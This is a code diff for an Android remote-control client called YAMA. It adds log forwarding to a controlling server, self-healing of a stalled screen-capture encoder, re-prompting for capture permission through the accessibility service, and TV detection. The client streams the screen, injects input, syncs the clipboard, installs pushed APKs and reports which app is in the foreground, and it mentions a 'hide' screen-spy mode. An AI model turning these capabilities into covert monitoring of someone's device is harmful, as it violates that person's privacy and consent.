env->ReleaseStringUTFChars(msg, m);
|
||||
}
|
||||
if (t) env->ReleaseStringUTFChars(tag, t);
|
||||
}
|
||||
|
||||
JNIEXPORT void JNICALL
|
||||
Java_com_yama_client_YamaBridge_nativeStop(JNIEnv*, jobject)
|
||||
{
|
||||
@@ -3172,6 +3250,10 @@ Java_com_yama_client_YamaBridge_nativeAudioSendPcm(JNIEnv* env, jobject, jshortA
|
||||
JNIEXPORT void JNICALL
|
||||
Java_com_yama_client_YamaBridge_nativeSetScreenSize(JNIEnv*, jobject, jint width, jint height)
|
||||
{
|
||||
// 上报了非零尺寸 = 当前已有可用的投影会话:清掉「上次拉起授权」的节流时间。
|
||||
// 否则投影在 10 分钟内再次失效(睡眠/服务重启,正是这条路径存在的场景)时,
|
||||
// 节流会挡住第二次授权提示,客户端只能直接报「screen capture is not available」。
|
||||
if (width > 0) g_lastPermPromptMs.store(0);
|
||||
g_screenWidth.store(width);
|
||||
g_screenHeight.store(height);
|
||||
LOGI("ScreenSize=%dx%d", width, height);
|
||||
|
||||
@@ -23,6 +23,7 @@ import android.os.Bundle
|
||||
import android.os.Handler
|
||||
import android.os.IBinder
|
||||
import android.os.Looper
|
||||
import android.os.SystemClock
|
||||
import android.provider.Settings
|
||||
import android.util.DisplayMetrics
|
||||
import android.util.Log
|
||||
@@ -31,6 +32,18 @@ import android.widget.Toast
|
||||
|
||||
import java.nio.charset.Charset
|
||||
|
||||
// 关键日志同时写进 native 的 Logger ring(服务端「运行日志」/ MCP get_client_log 可导出)。
|
||||
// 电视等没有 adb 的设备上,这是唯一能把编码器状态带回主控的通道。
|
||||
// native 库没加载成功时退回落 logcat——否则「Native library load failed」这类
|
||||
// 关键错误反而看不到(那次调用本身就依赖 native 库)。
|
||||
private fun ylog(priority: Int, msg: String) {
|
||||
val ok = runCatching { YamaBridge.nativeLog(priority, "YAMA", msg) }.isSuccess
|
||||
if (!ok) Log.println(priority, "YAMA", msg)
|
||||
}
|
||||
private fun ylogI(msg: String) = ylog(Log.INFO, msg)
|
||||
private fun ylogW(msg: String) = ylog(Log.WARN, msg)
|
||||
private fun ylogE(msg: String) = ylog(Log.ERROR, msg)
|
||||
private fun ylogD(msg: String) = ylog(Log.DEBUG, msg)
|
||||
class CaptureService : Service() {
|
||||
|
||||
companion object {
|
||||
@@ -38,6 +51,9 @@ class CaptureService : Service() {
|
||||
const val CHANNEL_ID = "yama_service"
|
||||
const val NOTIF_ID = 1
|
||||
|
||||
// 采集零输出时重建管线的节流时间戳(毫秒)
|
||||
@Volatile private var lastStallRestartMs = 0L
|
||||
|
||||
const val EXTRA_SERVER_IP = "server_ip"
|
||||
const val EXTRA_SERVER_PORT = "server_port"
|
||||
const val EXTRA_PROJECTION_RESULT = "projection_result"
|
||||
@@ -63,7 +79,7 @@ class CaptureService : Service() {
|
||||
@JvmStatic
|
||||
fun onUpdateReceived(path: String) {
|
||||
val ctx = instance ?: appContext ?: return
|
||||
Log.i(TAG, "onUpdateReceived: $path")
|
||||
ylogI("onUpdateReceived: $path")
|
||||
UpdateInstaller.onApkReceived(ctx, path)
|
||||
}
|
||||
|
||||
@@ -71,7 +87,7 @@ class CaptureService : Service() {
|
||||
@JvmStatic
|
||||
fun onUninstallRequested() {
|
||||
val ctx = instance ?: appContext ?: return
|
||||
Log.i(TAG, "onUninstallRequested")
|
||||
ylogI("onUninstallRequested")
|
||||
Uninstaller.request(ctx)
|
||||
}
|
||||
|
||||
@@ -85,12 +101,12 @@ class CaptureService : Service() {
|
||||
fun onClipboardText(bytes: ByteArray) {
|
||||
val ctx = instance ?: appContext
|
||||
if (ctx == null) {
|
||||
Log.w(TAG, "onClipboardText: no context, ${bytes.size} bytes dropped")
|
||||
ylogW("onClipboardText: no context, ${bytes.size} bytes dropped")
|
||||
return
|
||||
}
|
||||
val cm = ctx.getSystemService(Context.CLIPBOARD_SERVICE) as? ClipboardManager
|
||||
if (cm == null) {
|
||||
Log.e(TAG, "onClipboardText: no ClipboardManager")
|
||||
ylogE("onClipboardText: no ClipboardManager")
|
||||
return
|
||||
}
|
||||
// 人类剪贴板同步(ScreenSpyDlg / HideScreenSpyDlg)发的是带 '\0' 结尾的 CF_TEXT,
|
||||
@@ -98,17 +114,17 @@ class CaptureService : Service() {
|
||||
val text = String(bytes, Charset.forName("GBK")).trimEnd('\u0000')
|
||||
try {
|
||||
cm.setPrimaryClip(ClipData.newPlainText("YAMA", text))
|
||||
Log.i(TAG, "onClipboardText: ${bytes.size} bytes, ${text.length} chars")
|
||||
ylogI("onClipboardText: ${bytes.size} bytes, ${text.length} chars")
|
||||
} catch (e: Throwable) {
|
||||
// Android 10+ 极少见地会在某些受限场景抛 SecurityException;记日志不崩 JNI 线程
|
||||
Log.e(TAG, "onClipboardText: setPrimaryClip failed: $e")
|
||||
ylogE("onClipboardText: setPrimaryClip failed: $e")
|
||||
}
|
||||
}
|
||||
|
||||
@JvmStatic
|
||||
fun onNativeExit() {
|
||||
val svc = instance ?: return
|
||||
Log.i(TAG, "onNativeExit: server requested disconnect, stopping service")
|
||||
ylogI("onNativeExit: server requested disconnect, stopping service")
|
||||
svc.idrHandler.post { svc.stopSelf() }
|
||||
}
|
||||
|
||||
@@ -140,8 +156,8 @@ class CaptureService : Service() {
|
||||
p.putInt(MediaCodec.PARAMETER_KEY_VIDEO_BITRATE, kbps * 1000)
|
||||
codec.setParameters(p)
|
||||
svc.currentBitRateKbps = kbps
|
||||
Log.i(TAG, "bitrate -> $kbps kbps")
|
||||
}.onFailure { Log.e(TAG, "bitrate change to $kbps failed: $it") }
|
||||
ylogI("bitrate -> $kbps kbps")
|
||||
}.onFailure { ylogE("bitrate change to $kbps failed: $it") }
|
||||
}
|
||||
}
|
||||
|
||||
@@ -160,17 +176,93 @@ class CaptureService : Service() {
|
||||
val w = ControlService.encW
|
||||
val h = ControlService.encH
|
||||
val dpi = svc.resources.displayMetrics.densityDpi
|
||||
Log.d(TAG, "forceFirstFrame: resize ${w}x${h} → ${w+2}x${h} to trigger composition")
|
||||
ylogD("forceFirstFrame: resize ${w}x${h} → ${w+2}x${h} to trigger composition")
|
||||
vd.resize(w + 2, h, dpi)
|
||||
svc.idrHandler.postDelayed({
|
||||
runCatching { vd.resize(w, h, dpi) }
|
||||
Log.d(TAG, "forceFirstFrame: restored ${w}x${h}")
|
||||
ylogD("forceFirstFrame: restored ${w}x${h}")
|
||||
}, 150)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 远程桌面请求时没有可用的投影会话(Android TV 从未授权,或 Android 14 的单次
|
||||
* 授权在服务重启后失效):尝试拉起 MainActivity 重新走一遍系统「屏幕捕获」授权。
|
||||
* 优先用无障碍服务的 startActivity——系统绑定服务不受后台启动 Activity 限制。
|
||||
* 调用方是 native 的 ScreenSpyThread(g_requestPermMid),10 分钟内最多触发一次。
|
||||
*/
|
||||
@JvmStatic
|
||||
fun requestScreenCapturePermission() {
|
||||
val ctx = appContext ?: instance ?: return
|
||||
// request_projection:MainActivity 还活着时走 onNewIntent,靠这个 extra 重新发起授权;
|
||||
// 也避免把用户主动点图标打开 App 的情况误判成授权请求。
|
||||
val intent = Intent(ctx, MainActivity::class.java)
|
||||
// SINGLE_TOP:MainActivity 还活着且位于栈顶时走 onNewIntent 重新授权;
|
||||
// 没有它,NEW_TASK 只是把任务前置,既不走 onCreate 也不走 onNewIntent,
|
||||
// 授权界面永远弹不出来。
|
||||
.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_SINGLE_TOP)
|
||||
.putExtra(MainActivity.EXTRA_REQUEST_PROJECTION, true)
|
||||
val acc = ControlService.instance
|
||||
// AccessibilityService.startActivity(Intent) 是 API 24+;minSdk 21 上会抛
|
||||
// NoSuchMethodError,失败时回退到普通 startActivity。
|
||||
var launched = false
|
||||
if (acc != null) launched = runCatching { acc.startActivity(intent) }.isSuccess
|
||||
if (!launched) launched = runCatching { ctx.startActivity(intent) }.isSuccess
|
||||
ylogI("screen-capture permission prompt: launched=$launched")
|
||||
}
|
||||
|
||||
/**
|
||||
* SendLoop 检测到「采集在跑、但编码器零输出」时调用(电视睡眠后最常见:
|
||||
* MediaProjection 还在,SurfaceFlinger 却不再往旧的 VirtualDisplay 送帧)。
|
||||
* 用同一个 MediaProjection 重建编码器 + 虚拟显示(token 不消耗、无需重新授权);
|
||||
* 投影本身已经失效时把 native 尺寸清零,让下一次远程桌面重新走授权。
|
||||
*/
|
||||
@JvmStatic
|
||||
fun onEncoderStalled() {
|
||||
val svc = instance ?: return
|
||||
svc.idrHandler.post {
|
||||
val now = SystemClock.elapsedRealtime() // 单调时钟:墙上时间回拨不会让节流永久失效
|
||||
// last==0 是「本次开机还没重建过」:单调时钟 0 点是开机,开机 30 秒内
|
||||
// 不能因为 now-0 < 30000 就把第一次自愈吞掉。
|
||||
if (lastStallRestartMs != 0L && now - lastStallRestartMs < 30_000) return@post
|
||||
lastStallRestartMs = now
|
||||
val mp = svc.mediaProjection
|
||||
if (mp == null) {
|
||||
ylogI("capture stalled: projection gone, clearing screen size")
|
||||
YamaBridge.nativeSetScreenSize(0, 0)
|
||||
return@post
|
||||
}
|
||||
val (pw, ph) = svc.getPhysicalResolution()
|
||||
// 复用当前会话的编码尺寸,避免主控端解码器与新的 SPS 尺寸不一致。
|
||||
val keep = if (ControlService.encW > 0 && ControlService.encH > 0)
|
||||
Pair(ControlService.encW, ControlService.encH) else null
|
||||
ylogI("capture stalled: rebuilding encoder/virtual display (phys=${pw}x${ph}, keepEnc=${keep != null})")
|
||||
svc.releaseCaptureKeepProjection()
|
||||
val rebuilt = runCatching {
|
||||
svc.startCapture(mp, pw, ph, registerProjectionCallback = false, forcedEnc = keep)
|
||||
}.onFailure { ylogE("capture rebuild threw: $it") }.isSuccess
|
||||
// startCapture 先赋值 mediaCodec、后调 createVirtualDisplay;投影失效时
|
||||
// createVirtualDisplay 会抛异常,所以单看 mediaCodec 判不出失败。半初始化的
|
||||
// 编码器必须收干净、native 尺寸清零,否则后续远程桌面会一直带着旧尺寸停在
|
||||
// 「请等待」,也不会走重新授权。
|
||||
if (!rebuilt || svc.mediaCodec == null || svc.virtualDisplay == null) {
|
||||
ylogE("capture rebuild failed; clearing screen size")
|
||||
svc.releaseCaptureKeepProjection()
|
||||
YamaBridge.nativeSetScreenSize(0, 0)
|
||||
} else {
|
||||
// 静止画面(电视停在桌面/暂停的视频)没有任何脏区,新 VirtualDisplay
|
||||
// 不会合成出帧。和首条管线一样,用一次 ±2px resize 触发合成。
|
||||
forceFirstFrame()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// nativeInit 是否已完成。MainActivity 重新授权会再次 startForegroundService,同一个
|
||||
// Service 实例会收到第二次 onStartCommand:这时不能再次 nativeInit(main.cpp 的 CAS
|
||||
// 会返回 -1),否则失败分支会 stopSelf → nativeStop → 客户端直接掉线。
|
||||
private var nativeReady = false
|
||||
private var mediaProjection: MediaProjection? = null
|
||||
private var virtualDisplay: VirtualDisplay? = null
|
||||
private var mediaCodec: MediaCodec? = null
|
||||
@@ -220,29 +312,39 @@ class CaptureService : Service() {
|
||||
val res = "1:${sw}*${sh}"
|
||||
val user = Build.USER
|
||||
|
||||
// 初始化前不能走 ylog*/YamaBridge:那会触发 loadLibrary,失败时把类初始化搞坏,
|
||||
// 后面的 nativeInit 会变成 NoClassDefFoundError(不是下面两个 catch 能接住的)。
|
||||
Log.i(TAG, "CaptureService: server=$ip:$port device=$model res=$res")
|
||||
|
||||
// YB-01 fix: so 库加载失败是 Error,不被 catch(Exception) 捕获,需单独处理
|
||||
// ExceptionInInitializerError 包裹 UnsatisfiedLinkError(首次访问 object 时触发)
|
||||
val initRet: Int
|
||||
try {
|
||||
initRet = YamaBridge.nativeInit(ip, port, androidId, model, osVer, res, user, packageCodePath ?: "", filesDir.absolutePath,
|
||||
BuildConfig.VERSION_NAME, BuildConfig.VERSION_CODE)
|
||||
} catch (e: UnsatisfiedLinkError) {
|
||||
Log.e(TAG, "Native library load failed: $e")
|
||||
stopSelf()
|
||||
return START_NOT_STICKY
|
||||
} catch (e: ExceptionInInitializerError) {
|
||||
Log.e(TAG, "Native library init failed: ${e.cause}")
|
||||
stopSelf()
|
||||
return START_NOT_STICKY
|
||||
if (!nativeReady) {
|
||||
var initRet = 0
|
||||
try {
|
||||
initRet = YamaBridge.nativeInit(ip, port, androidId, model, osVer, res, user,
|
||||
packageCodePath ?: "", filesDir.absolutePath,
|
||||
BuildConfig.VERSION_NAME, BuildConfig.VERSION_CODE)
|
||||
} catch (e: UnsatisfiedLinkError) {
|
||||
ylogE("Native library load failed: $e")
|
||||
stopSelf()
|
||||
return START_NOT_STICKY
|
||||
} catch (e: ExceptionInInitializerError) {
|
||||
ylogE("Native library init failed: ${e.cause}")
|
||||
stopSelf()
|
||||
return START_NOT_STICKY
|
||||
} catch (e: Throwable) {
|
||||
// 类初始化失败后再次访问 YamaBridge 会抛 NoClassDefFoundError
|
||||
ylogE("nativeInit threw: $e")
|
||||
stopSelf()
|
||||
return START_NOT_STICKY
|
||||
}
|
||||
if (initRet != 0 && initRet != -1) { // -1 = 已在运行(重复 start),不算失败
|
||||
ylogE("nativeInit failed: ret=$initRet")
|
||||
stopSelf()
|
||||
return START_NOT_STICKY
|
||||
}
|
||||
nativeReady = true
|
||||
}
|
||||
if (initRet != 0) {
|
||||
Log.e(TAG, "nativeInit failed: ret=$initRet")
|
||||
stopSelf()
|
||||
return START_NOT_STICKY
|
||||
}
|
||||
|
||||
val projResult = intent.getIntExtra(EXTRA_PROJECTION_RESULT, -1)
|
||||
val projData = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU)
|
||||
intent.getParcelableExtra(EXTRA_PROJECTION_DATA, Intent::class.java)
|
||||
@@ -266,7 +368,7 @@ class CaptureService : Service() {
|
||||
// codec/vd 会漏掉它,旧 projection 永不 stop(),投屏指示器一直亮着,
|
||||
// 它的 onStop 回调也继续挂着。
|
||||
if (mediaCodec != null || virtualDisplay != null || mediaProjection != null) {
|
||||
Log.i(TAG, "onStartCommand: releasing previous capture before restart")
|
||||
ylogI("onStartCommand: releasing previous capture before restart")
|
||||
stopCapture()
|
||||
}
|
||||
val pm = getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
|
||||
@@ -277,13 +379,13 @@ class CaptureService : Service() {
|
||||
try {
|
||||
startCapture(mp, sw, sh)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Screen capture failed: $e — running without capture")
|
||||
ylogE("Screen capture failed: $e — running without capture")
|
||||
}
|
||||
} else {
|
||||
Log.e(TAG, "Invalid screen resolution ${sw}x${sh}, skipping capture")
|
||||
ylogE("Invalid screen resolution ${sw}x${sh}, skipping capture")
|
||||
}
|
||||
} else {
|
||||
Log.w(TAG, "No MediaProjection token, skipping screen capture")
|
||||
ylogW("No MediaProjection token, skipping screen capture")
|
||||
}
|
||||
|
||||
return START_STICKY
|
||||
@@ -293,23 +395,34 @@ class CaptureService : Service() {
|
||||
super.onDestroy()
|
||||
instance = null
|
||||
stopCapture()
|
||||
YamaBridge.nativeStop()
|
||||
Log.i(TAG, "CaptureService destroyed")
|
||||
// nativeInit 没成功过就不要碰 YamaBridge(类初始化失败后会抛 NoClassDefFoundError)
|
||||
ylogI("CaptureService destroyed")
|
||||
if (nativeReady) runCatching { YamaBridge.nativeStop() }
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- MediaProjection + MediaCodec
|
||||
|
||||
private fun startCapture(mp: MediaProjection, physW: Int, physH: Int) {
|
||||
val (encW, encH) = scaleDown(physW, physH, MAX_LONG_SIDE)
|
||||
private fun startCapture(mp: MediaProjection, physW: Int, physH: Int, registerProjectionCallback: Boolean = true, forcedEnc: Pair<Int, Int>? = null) {
|
||||
// 重建时必须沿用原会话的编码尺寸:主控端的解码器已按最初的 BITMAPINFO 初始化,
|
||||
// 睡眠后物理分辨率可能变化(实测 1080x606 → 1280x720),重新推导可能得到不同的
|
||||
// 编码尺寸,主控端会黑屏。forcedEnc 由 onEncoderStalled 传入。
|
||||
val (encW, encH) = forcedEnc ?: scaleDown(physW, physH, MAX_LONG_SIDE)
|
||||
val dpi = resources.displayMetrics.densityDpi
|
||||
|
||||
// 主控端上次保存的档位决定开抓码率;自适应档从 Good 起步(与服务端假设一致)
|
||||
val (bitRateKbps, fps) = ScreenTuning.startupRate()
|
||||
Log.i(TAG, "Capture: phys=${physW}x${physH} enc=${encW}x${encH} dpi=$dpi " +
|
||||
ylogI("Capture: phys=${physW}x${physH} enc=${encW}x${encH} dpi=$dpi " +
|
||||
"bitrate=${bitRateKbps}kbps fps=$fps level=${ScreenTuning.getQualityLevel()}")
|
||||
|
||||
val codec = MediaCodec.createEncoderByType(MediaFormat.MIMETYPE_VIDEO_AVC)
|
||||
val surface = configureEncoder(codec, encW, encH, bitRateKbps, fps)
|
||||
// configureEncoder 三套配置都失败时会抛异常;此时 mediaCodec 还没赋值,
|
||||
// releaseCaptureKeepProjection 收不到它,必须在这里释放,否则每次重建失败都漏一个编码器。
|
||||
val surface = try {
|
||||
configureEncoder(codec, encW, encH, bitRateKbps, fps)
|
||||
} catch (e: Exception) {
|
||||
runCatching { codec.release() }
|
||||
throw e
|
||||
}
|
||||
currentBitRateKbps = bitRateKbps
|
||||
|
||||
var configData: ByteArray? = null
|
||||
@@ -345,31 +458,37 @@ class CaptureService : Service() {
|
||||
}
|
||||
|
||||
override fun onError(mc: MediaCodec, e: MediaCodec.CodecException) {
|
||||
Log.e(TAG, "MediaCodec error: $e")
|
||||
ylogE("MediaCodec error: $e")
|
||||
}
|
||||
|
||||
override fun onOutputFormatChanged(mc: MediaCodec, format: MediaFormat) {
|
||||
Log.i(TAG, "Output format: $format")
|
||||
ylogI("Output format: $format")
|
||||
}
|
||||
})
|
||||
|
||||
codec.start()
|
||||
try {
|
||||
codec.start()
|
||||
} catch (e: Exception) {
|
||||
// 同上:start 抛异常时 mediaCodec 还没赋值,编码器会漏掉
|
||||
runCatching { codec.release() }
|
||||
throw e
|
||||
}
|
||||
mediaCodec = codec
|
||||
|
||||
idrHandler.postDelayed(idrRunnable, 500)
|
||||
|
||||
// Android 14+ requires callback registered before createVirtualDisplay()
|
||||
mp.registerCallback(object : MediaProjection.Callback() {
|
||||
if (registerProjectionCallback) mp.registerCallback(object : MediaProjection.Callback() {
|
||||
override fun onStop() {
|
||||
// stop() 的回调是异步投递到主线程的,可能在新一轮 startCapture 之后
|
||||
// 才到达。身份不一致说明这是被我们主动收掉的旧 projection,忽略它,
|
||||
// 否则迟到的回调会把刚建好的 VirtualDisplay 和编码器一起拆掉。
|
||||
// 顺带也让 stopCapture() 内部的 mp.stop() 不再递归触发自己。
|
||||
if (mediaProjection !== mp) {
|
||||
Log.i(TAG, "stale MediaProjection onStop ignored")
|
||||
ylogI("stale MediaProjection onStop ignored")
|
||||
return
|
||||
}
|
||||
Log.i(TAG, "MediaProjection stopped — switching to dataSync foreground type")
|
||||
ylogI("MediaProjection stopped — switching to dataSync foreground type")
|
||||
stopCapture()
|
||||
// Android 14+: system auto-kills a foreground service whose mediaProjection
|
||||
// is revoked. Re-declare as dataSync-only to survive without screen capture.
|
||||
@@ -387,7 +506,7 @@ class CaptureService : Service() {
|
||||
// ScreenSpyThread 认为投屏就绪、照常发 BITMAPINFO,而 surface 没有任何生产者,
|
||||
// 编码器永远不输出 → 服务端停在"请等待"。这里必须显式失败,不能静默。
|
||||
if (vd == null) {
|
||||
Log.e(TAG, "createVirtualDisplay returned null (enc=${encW}x${encH} dpi=$dpi) — " +
|
||||
ylogE("createVirtualDisplay returned null (enc=${encW}x${encH} dpi=$dpi) — " +
|
||||
"no frames will be produced; check MediaProjection token")
|
||||
// 500ms 前已经 postDelayed 过 idrRunnable,不收掉它会每秒空转(mediaCodec
|
||||
// 已置 null,setParameters 是 null-safe,但没意义)。
|
||||
@@ -419,7 +538,7 @@ class CaptureService : Service() {
|
||||
ControlService.encW = encW
|
||||
ControlService.encH = encH
|
||||
|
||||
Log.i(TAG, "MediaCodec + VirtualDisplay started ${encW}x${encH}")
|
||||
ylogI("MediaCodec + VirtualDisplay started ${encW}x${encH}")
|
||||
}
|
||||
|
||||
private fun buildFmt(w: Int, h: Int, lowLatency: Boolean, baseline: Boolean,
|
||||
@@ -449,22 +568,26 @@ class CaptureService : Service() {
|
||||
MediaCodecInfo.CodecProfileLevel.AVCProfileBaseline)
|
||||
}
|
||||
|
||||
// 逐级降级:低延迟+Baseline → 低延迟 → 默认,确保真机兼容
|
||||
// 逐级降级:低延迟+Baseline → 低延迟 → 默认,确保真机兼容。
|
||||
// 电视(isTvDevice:leanback/television/uiMode)的硬件编码器对低延迟配置尤其敏感:
|
||||
// configure/createInputSurface/start 全部成功,但 KEY_LOW_LATENCY 下可能一帧都不输出
|
||||
// (与 KEY_OPERATING_RATE 压到 30 以下同类的低功耗行为)。电视上因此先试「默认配置」,
|
||||
// 手机保持原顺序。注意这与 D-pad 输入策略的 leanback 判定是两件事。
|
||||
private fun configureEncoder(codec: MediaCodec, w: Int, h: Int,
|
||||
bitRateKbps: Int, fps: Int): android.view.Surface {
|
||||
val configs = listOf(
|
||||
true to true,
|
||||
true to false,
|
||||
false to false,
|
||||
)
|
||||
val isTv = ControlService.isTvDevice(this)
|
||||
val configs = if (isTv)
|
||||
listOf(false to false, true to false, true to true)
|
||||
else
|
||||
listOf(true to true, true to false, false to false)
|
||||
for ((ll, bl) in configs) {
|
||||
try {
|
||||
val fmt = buildFmt(w, h, ll, bl, bitRateKbps, fps)
|
||||
codec.configure(fmt, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE)
|
||||
Log.i(TAG, "Encoder configured: lowLatency=$ll baseline=$bl")
|
||||
ylogI("Encoder configured: lowLatency=$ll baseline=$bl")
|
||||
return codec.createInputSurface()
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "Encoder config failed (lowLatency=$ll baseline=$bl): $e, retrying…")
|
||||
ylogW("Encoder config failed (lowLatency=$ll baseline=$bl): $e, retrying…")
|
||||
try { codec.reset() } catch (_: Exception) {}
|
||||
}
|
||||
}
|
||||
@@ -487,7 +610,21 @@ class CaptureService : Service() {
|
||||
// 客户端照常建子连接、发 TOKEN_BITMAPINFO,服务端收到尺寸后进入"请等待",而
|
||||
// 编码器一帧都产不出来 → 永远停在"请等待"。token 是一次性的,客户端自己恢复
|
||||
// 不了,只能重新走授权,所以这里唯一正确的动作是如实报告「没有投屏」。
|
||||
YamaBridge.nativeSetScreenSize(0, 0)
|
||||
// native 初始化失败时(onDestroy 仍会走到这里)碰 YamaBridge 会抛
|
||||
// NoClassDefFoundError,必须由 nativeReady 挡住。
|
||||
if (nativeReady) runCatching { YamaBridge.nativeSetScreenSize(0, 0) }
|
||||
}
|
||||
|
||||
// 只拆编码器与虚拟显示、保留 MediaProjection:Android 14 的投影 token 是一次性的,
|
||||
// stop() 之后就只能重新授权。电视睡眠后旧的 VirtualDisplay 收不到合成帧时,用同一个
|
||||
// 投影重建一条新的虚拟显示即可恢复,不必打扰设备前的用户。
|
||||
private fun releaseCaptureKeepProjection() {
|
||||
idrHandler.removeCallbacks(idrRunnable)
|
||||
runCatching { virtualDisplay?.release() }
|
||||
runCatching { mediaCodec?.stop() }
|
||||
runCatching { mediaCodec?.release() }
|
||||
virtualDisplay = null
|
||||
mediaCodec = null
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- 辅助函数
|
||||
@@ -564,10 +701,10 @@ class CaptureService : Service() {
|
||||
try {
|
||||
startForeground(NOTIF_ID, buildNotification(), types)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "startForeground(types=0x${types.toString(16)}) failed: $e")
|
||||
ylogE("startForeground(types=0x${types.toString(16)}) failed: $e")
|
||||
if (types != base) {
|
||||
runCatching { startForeground(NOTIF_ID, buildNotification(), base) }
|
||||
.onFailure { Log.e(TAG, "startForeground(base=0x${base.toString(16)}) also failed: $it") }
|
||||
.onFailure { ylogE("startForeground(base=0x${base.toString(16)}) also failed: $it") }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -8,6 +8,8 @@ import android.content.BroadcastReceiver
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.content.IntentFilter
|
||||
import android.content.pm.PackageManager
|
||||
import android.content.res.Configuration
|
||||
import android.graphics.Color
|
||||
import android.graphics.Path
|
||||
import android.graphics.PixelFormat
|
||||
@@ -39,6 +41,15 @@ class ControlService : AccessibilityService() {
|
||||
companion object {
|
||||
const val TAG = "YAMA_CTRL"
|
||||
|
||||
/** 电视判定唯一实现:D-pad 输入、SCREEN_ON 清锁屏、编码器配置顺序都用它,
|
||||
* 避免两处判定漂移。非 GMS 的国产电视可能没有 leanback 特性,补 television/uiMode。 */
|
||||
@JvmStatic
|
||||
fun isTvDevice(context: Context): Boolean =
|
||||
context.packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK) ||
|
||||
context.packageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION) ||
|
||||
(context.resources.configuration.uiMode and Configuration.UI_MODE_TYPE_MASK) ==
|
||||
Configuration.UI_MODE_TYPE_TELEVISION
|
||||
|
||||
// 锁定时注入手势前的放行等待(毫秒):见 sendGesture 的说明。100ms 是实测能
|
||||
// 稳稳让 WMS 应用完 FLAG_NOT_TOUCHABLE 的最小值量级(官方没有回调可等)。
|
||||
private const val OVERLAY_BYPASS_DELAY_MS = 100
|
||||
@@ -56,13 +67,19 @@ class ControlService : AccessibilityService() {
|
||||
val activeWindow: String
|
||||
get() {
|
||||
val svc = instance
|
||||
val now = SystemClock.elapsedRealtime()
|
||||
val locked = lockedAtElapsed != 0L || (svc?.isKeyguardLockedNow() == true)
|
||||
if (locked) {
|
||||
if (lockedAtElapsed == 0L) lockedAtElapsed = now
|
||||
return "Locked: " + formatElapsed(now - lockedAtElapsed)
|
||||
// 无障碍服务不在时无法判断锁屏状态。以前这里保留上一次的 lockedAtElapsed,
|
||||
// 服务被杀/重启后会一直上报 "Locked: HH:MM:SS"(时长还一直在涨)。
|
||||
if (svc == null) {
|
||||
lockedAtElapsed = 0L
|
||||
return foregroundPkg
|
||||
}
|
||||
lockedAtElapsed = 0L
|
||||
val now = SystemClock.elapsedRealtime()
|
||||
// 只认 ACTION_SCREEN_OFF 记下的起点:db148c4 起改成每次心跳都问
|
||||
// KeyguardManager,而部分电视(如 Changhong AI PONT)这个值恒为 true,
|
||||
// 正在看 YouTube 也会一直上报 "Locked: HH:MM:SS",前台应用永远不更新。
|
||||
// 手机上的锁屏由 SCREEN_OFF → USER_PRESENT 这对广播覆盖,不需要再问 keyguard。
|
||||
if (lockedAtElapsed != 0L)
|
||||
return "Locked: " + formatElapsed(now - lockedAtElapsed)
|
||||
return foregroundPkg
|
||||
}
|
||||
|
||||
@@ -81,8 +98,9 @@ class ControlService : AccessibilityService() {
|
||||
@JvmStatic
|
||||
fun currentActivityTitle(): String? {
|
||||
val svc = instance ?: return null
|
||||
// 历史活动里锁屏仍按空闲处理(C++ 侧只认裸 "Locked"),不要带时长
|
||||
if (lockedAtElapsed != 0L || svc.isKeyguardLockedNow()) return "Locked"
|
||||
// 历史活动里锁屏仍按空闲处理(C++ 侧只认裸 "Locked"),不要带时长。
|
||||
// 与 activeWindow 一致:只看 SCREEN_OFF 记下的起点,不问 KeyguardManager。
|
||||
if (lockedAtElapsed != 0L) return "Locked"
|
||||
val pkg = foregroundPkg
|
||||
return when {
|
||||
pkg.isEmpty() -> null
|
||||
@@ -205,6 +223,13 @@ class ControlService : AccessibilityService() {
|
||||
when (intent?.action) {
|
||||
// 只记录起点;上报时由 activeWindow 的 getter 算 "Locked: HH:MM:SS"
|
||||
Intent.ACTION_SCREEN_OFF -> lockedAtElapsed = SystemClock.elapsedRealtime()
|
||||
// 亮屏时判断是否还需要解锁:
|
||||
// · 电视(isTvLike)没有锁屏,且 ACTION_USER_PRESENT 往往根本不来;
|
||||
// · 没设置锁屏密码的手机/平板(keyguard 未锁)也不会收到 USER_PRESENT。
|
||||
// 这两种情况必须清掉 SCREEN_OFF 记下的起点,否则会一直上报
|
||||
// 「Locked: 23:12:57」这种越涨越久的假锁屏。
|
||||
// 有锁屏的手机保持起点,等 USER_PRESENT(或服务重连时的校准)来清。
|
||||
Intent.ACTION_SCREEN_ON -> if (isTvLike || !isKeyguardLockedNow()) lockedAtElapsed = 0L
|
||||
Intent.ACTION_USER_PRESENT -> {
|
||||
lockedAtElapsed = 0L
|
||||
foregroundPkg = "Android"
|
||||
@@ -213,8 +238,8 @@ class ControlService : AccessibilityService() {
|
||||
}
|
||||
}
|
||||
|
||||
// 锁屏判断:KeyguardManager 在「屏幕亮着但未解锁」时也返回 true;
|
||||
// 少数机型息屏时它返回 false,所以调用方还会叠加 lockedAtElapsed。
|
||||
// 锁屏判断只用于「事件点的校准」(SCREEN_ON / 服务重连),不要放回每次心跳的
|
||||
// activeWindow getter:部分电视/机型恒返回 true,那正是活动窗口卡在 Locked 的原因。
|
||||
private fun isKeyguardLockedNow(): Boolean {
|
||||
val km = getSystemService(Context.KEYGUARD_SERVICE) as? KeyguardManager ?: return false
|
||||
return km.isKeyguardLocked
|
||||
@@ -226,7 +251,18 @@ class ControlService : AccessibilityService() {
|
||||
// ── TV (Google TV / Android TV) D-pad mode ───────────────────────────
|
||||
// Activated when FEATURE_LEANBACK is present. Mouse events are translated
|
||||
// to accessibility focus navigation — no touchscreen or root required.
|
||||
private var isTV = false
|
||||
//
|
||||
// 两个判定必须分开,且都用不可变惰性值(不要改成生命周期里赋值的 var):
|
||||
